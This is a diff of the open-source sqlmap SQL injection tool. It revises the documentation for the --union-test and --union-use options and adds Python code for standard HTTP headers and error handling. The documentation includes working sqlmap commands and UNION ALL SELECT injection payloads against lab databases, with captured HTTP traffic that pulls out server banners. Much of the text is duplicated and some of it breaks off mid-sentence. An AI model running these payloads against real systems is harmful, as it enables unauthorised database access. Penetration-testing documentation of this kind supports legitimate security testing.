Note that the HTTP User-Agent header is tested against SQL
-injection even if you do not overwrite the default sqlmap HTTP
+injection also if you do not overwrite the default sqlmap HTTP
User-Agent header value.
Some sites perform a server-side check on the HTTP User-Agent
+header value and fail the HTTP response if a valid User-Agent is
+not provided, its value is not expected or its value is blocked by a web
+application firewall or similar intrusion prevention system. In this case
+sqlmap will show you a message as follows:
+
+
+[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
+to force the HTTP User-Agent header with option --user-agent or -a
+
+Basic and Digest authenticationsOption: --time-test
TODO
+ + +Option: --union-test
It is possible to test if the target URL is affected by an inband +SQL injection vulnerability. +Refer to the Techniques section for details on this SQL injection +technique.
+ +Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+As you can see, the target URL parameter id might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
Option: --union-use
Providing the --union-use parameter, sqlmap will first test if
+the target URL is affected by an inband SQL injection
+(--union-test) vulnerability then, in case it is vulnerable and
+exploitable, it will trigger this vulnerability to retrieve the output of
+the SELECT queries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+ --union-use --banner
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+As you can see, the vulnerable parameter (id) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+ --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+As you can see, the MySQL version() function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
Option: --union-test
It is possible to test if the target URL is affected by an inband -SQL injection vulnerability. -Refer to the Techniques section for details on this SQL injection -technique.
- -Example on an Oracle XE 10.2.0.1 target:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
- --union-test -v 1
-
-[...]
-back-end DBMS: Oracle
-
-[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
-NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
-
-Example on a PostgreSQL 8.2.7 target:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
- --union-test -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
-NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
-
-As you can see, the target URL parameter id might be also
-affected by an inband SQL injection.
-In case this vulnerability is exploitable it is strongly recommended to
-use it.
Option: --union-use
Providing the --union-use parameter, sqlmap will first test if
-the target URL is affected by an inband SQL injection
-(--union-test) vulnerability then, in case it is vulnerable and
-exploitable, it will trigger this vulnerability to retrieve the output of
-the SELECT queries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
- --union-use --banner
-
-[...]
-back-end DBMS: Microsoft SQL Server 2000
-
-[hh:mm:42] [INFO] fetching banner
-[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
-[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
-vulnerability
-[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
-CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
-CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
-[hh:mm:42] [INFO] performed 3 queries in 0 seconds
-banner:
----
-Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
- Aug 6 2000 00:57:48
- Copyright (c) 1988-2000 Microsoft Corporation
- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
----
-
-As you can see, the vulnerable parameter (id) is affected by both
-blind SQL injection and exploitable inband SQL injection vulnerabilities.
Example on a MySQL 5.0.51 target:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
- --union-use --banner
-
-[...]
-[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
-vulnerability
-[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
-IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
-AND 6043=6043
-[hh:mm:25] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
-%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
-%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
-06043=6043&cat=2 HTTP/1.1
-Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Mon, 28 Jul 2008 22:34:25 GMT
-Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
-OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
-X-Powered-By: PHP/5.2.4-2ubuntu5.2
-Content-Length: 194
-Connection: close
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
-</table>
-</body></html>
-
-[hh:mm:25] [INFO] performed 3 queries in 0 seconds
-banner: '5.0.51a-3ubuntu5.2'
-
-As you can see, the MySQL version() function (banner) output is
-nested (inband) within the HTTP response page, this makes the inband SQL
-injection exploitable.
Option: --eta
Note that the HTTP User-Agent header is tested against SQL -injection even if you do not overwrite the default sqlmap HTTP +injection also if you do not overwrite the default sqlmap HTTP User-Agent header value. +
+Some sites perform a server-side check on the HTTP User-Agent
+header value and fail the HTTP response if a valid User-Agent is
+not provided, its value is not expected or its value is blocked by a web
+application firewall or similar intrusion prevention system. In this case
+sqlmap will show you a message as follows:
+
+
+Option: --time-test
+
+
+TODO
+
+
+
+Option: --union-test
+
+
+It is possible to test if the target URL is affected by an
+Example on an
+Example on a
+As you can see, the target URL parameter id might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
+
+
+Option: --union-use
+
+
+Providing the --union-use parameter, sqlmap will first test if
+the target URL is affected by an
+Example on a
+As you can see, the vulnerable parameter (id) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
+
+
+Example on a
+As you can see, the MySQL version() function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
+
+
-Option: --union-test
-
-
-It is possible to test if the target URL is affected by an
-Example on an
-Example on a
-As you can see, the target URL parameter id might be also
-affected by an inband SQL injection.
-In case this vulnerability is exploitable it is strongly recommended to
-use it.
-
-
-Option: --union-use
-
-
-Providing the --union-use parameter, sqlmap will first test if
-the target URL is affected by an
-Example on a
-As you can see, the vulnerable parameter (id) is affected by both
-blind SQL injection and exploitable inband SQL injection vulnerabilities.
-
-
-Example on a
-As you can see, the MySQL version() function (banner) output is
-nested (inband) within the HTTP response page, this makes the inband SQL
-injection exploitable.
-
-
diff --git a/lib/core/option.py b/lib/core/option.py
index f60bbc71e..a15cfdbcd 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -278,6 +278,13 @@ def __setHTTPMethod():
conf.method = "GET"
+def __setHTTPStandardHeaders():
+ conf.httpHeaders.append(("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"))
+ conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
+ conf.httpHeaders.append(("Accept-Encoding", "gzip,deflate"))
+ conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
+
+
def __defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@@ -566,6 +573,7 @@ def init(inputOptions=advancedDict()):
__setHTTPCookies()
__setHTTPReferer()
__setHTTPUserAgent()
+ __setHTTPStandardHeaders()
__setHTTPMethod()
__setHTTPAuthentication()
__setHTTPProxy()
diff --git a/lib/request/connect.py b/lib/request/connect.py
index e31aaeac0..90c2c84a7 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+import httplib
import md5
import re
import socket
@@ -182,6 +183,19 @@ class Connect:
warnMsg += " or proxy"
raise sqlmapConnectionException, warnMsg
+ except httplib.BadStatusLine, _:
+ warnMsg = "the target url responded with an unknown HTTP "
+ warnMsg += "status code, try to force the HTTP User-Agent "
+ warnMsg += "header with option --user-agent or -a"
+
+ if conf.googleDork:
+ warnMsg += ", skipping to next url"
+ logger.warn(warnMsg)
+
+ return None
+ else:
+ raise sqlmapConnectionException, warnMsg
+
parsePage(page)
responseMsg += "(%s - %d):\n" % (status, code)